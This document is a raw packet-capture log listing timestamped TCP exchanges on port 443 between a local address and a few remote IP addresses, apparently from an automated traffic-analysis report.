Apr 25, 2024 15:30:37.110616922 CEST	443	49767	104.21.34.108	192.168.2.16
Apr 25, 2024 15:30:37.231972933 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.232006073 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.232095003 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.232321024 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.232341051 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.461086988 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.461471081 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.461497068 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.464555979 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.464642048 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.464942932 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.465020895 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.465101957 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.465112925 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.515337944 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.743709087 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.743920088 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.744009018 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.744035006 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.744079113 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.744126081 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.744136095 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.744291067 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.744347095 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.744354010 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.744385958 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.744431973 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.744440079 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.744945049 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.744999886 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.745008945 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.745245934 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.745280027 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.745295048 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.745306015 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.745340109 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.745347977 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.746223927 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.746284962 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.746293068 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.746476889 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.746521950 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.746530056 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.746570110 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.746609926 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.746619940 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.747045040 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.747088909 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.747096062 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.747139931 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.747179031 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.747179031 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.747198105 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.747239113 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.747247934 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.747288942 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.747325897 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.747333050 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.748038054 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.748089075 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.748097897 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.748168945 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.748208046 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.748215914 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.748248100 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.748286009 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.748306036 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.748975039 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.749023914 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.749034882 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.749094009 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.749136925 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.749145031 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.749202967 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.749242067 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.749248981 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.749886036 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.749932051 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.749938011 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.750013113 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.750049114 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.750056982 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.750098944 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.750137091 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.750144005 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.750890970 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.750936985 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.750943899 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.751032114 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.751072884 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.751081944 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.774518967 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.774539948 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.774838924 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.774988890 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.774997950 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.801337004 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.854549885 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.854756117 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.854844093 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.854861975 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.854892015 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.854935884 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.854989052 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855129004 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855179071 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.855199099 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855320930 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855371952 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.855381012 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855519056 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855570078 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.855577946 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855706930 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855758905 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.855767012 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855890989 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.855951071 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.855957985 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.856079102 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.856133938 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.856142998 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.856359005 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.856417894 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.856426001 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.856616974 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.856672049 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.856681108 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.856885910 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.856947899 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.857042074 CEST	49768	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.857064009 CEST	443	49768	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.860173941 CEST	49770	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.860218048 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:37.860325098 CEST	49770	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.860611916 CEST	49770	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:37.860630989 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.002331972 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.002720118 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.002732038 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.003190041 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.003731012 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.003813028 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.003950119 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.044142962 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.086091995 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.086513996 CEST	49770	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.086538076 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.086997032 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.087332010 CEST	49770	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.087414026 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.087523937 CEST	49770	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.128120899 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.282974005 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283049107 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283107042 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283135891 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.283143997 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283189058 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283214092 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.283217907 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283265114 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.283267021 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283278942 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283325911 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.283391953 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283772945 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283823967 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283843040 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.283847094 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.283942938 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.283946991 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.284123898 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.284183979 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.284188032 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.284233093 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.284293890 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.284297943 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.284336090 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.284383059 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.284387112 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.284507036 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.284558058 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.284562111 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.285053015 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.285093069 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.285105944 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.285110950 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.285176039 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.285180092 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.285314083 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.285370111 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.285372972 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.285458088 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.285577059 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.285582066 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286077976 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286151886 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.286156893 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286257029 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286304951 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.286314964 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286413908 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286468983 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.286473989 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286511898 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286581993 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.286587000 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286911011 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.286967993 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.286973000 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.287098885 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.287175894 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.287179947 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.287314892 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.287398100 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.287404060 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.287499905 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.287606001 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.287611961 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.287914038 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.288013935 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.288017988 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.288176060 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.288227081 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.288230896 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.288331032 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.288384914 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.288389921 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.288713932 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.288777113 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.288780928 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.288836956 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.288885117 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.288888931 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.289025068 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.289067984 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.289072037 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.289197922 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.289247990 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.289252043 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.289648056 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.289700985 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.289705038 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.289822102 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.289906979 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.289912939 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.344342947 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.356517076 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.356587887 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.356652021 CEST	49770	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.357494116 CEST	49770	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.357511044 CEST	443	49770	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.392407894 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.392816067 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.392868042 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.392879963 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.392889023 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.392954111 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.392980099 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.392985106 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.393038034 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.393040895 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.393049955 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.393146992 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.393296957 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.393503904 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.393569946 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.393574953 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.393666029 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.393718004 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.393723965 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.393896103 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.393939018 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.393948078 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.394406080 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.394464970 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.394469023 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.394587994 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.394663095 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.394666910 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.394793987 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.394850016 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.394855022 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.395592928 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.395646095 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.395730972 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.395735979 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.395778894 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.395781040 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.395790100 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.395859957 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.395864964 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.395955086 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.396008015 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.396034956 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.396040916 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.396105051 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.396632910 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.396722078 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.396727085 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.396977901 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.397042990 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.397048950 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.397391081 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.397485971 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.397490025 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.397573948 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.397649050 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.397653103 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.397733927 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.397788048 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.397792101 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.398251057 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.398307085 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.398340940 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.398346901 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.398462057 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.398466110 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.398555994 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.398622036 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.398626089 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.398684025 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.398772955 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.398778915 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.399131060 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.399188995 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.399193048 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.399286032 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.399410009 CEST	443	49769	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:38.399444103 CEST	49769	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:38.399449110 CEST	443	49769	104.17.2.184	192.168.2.16
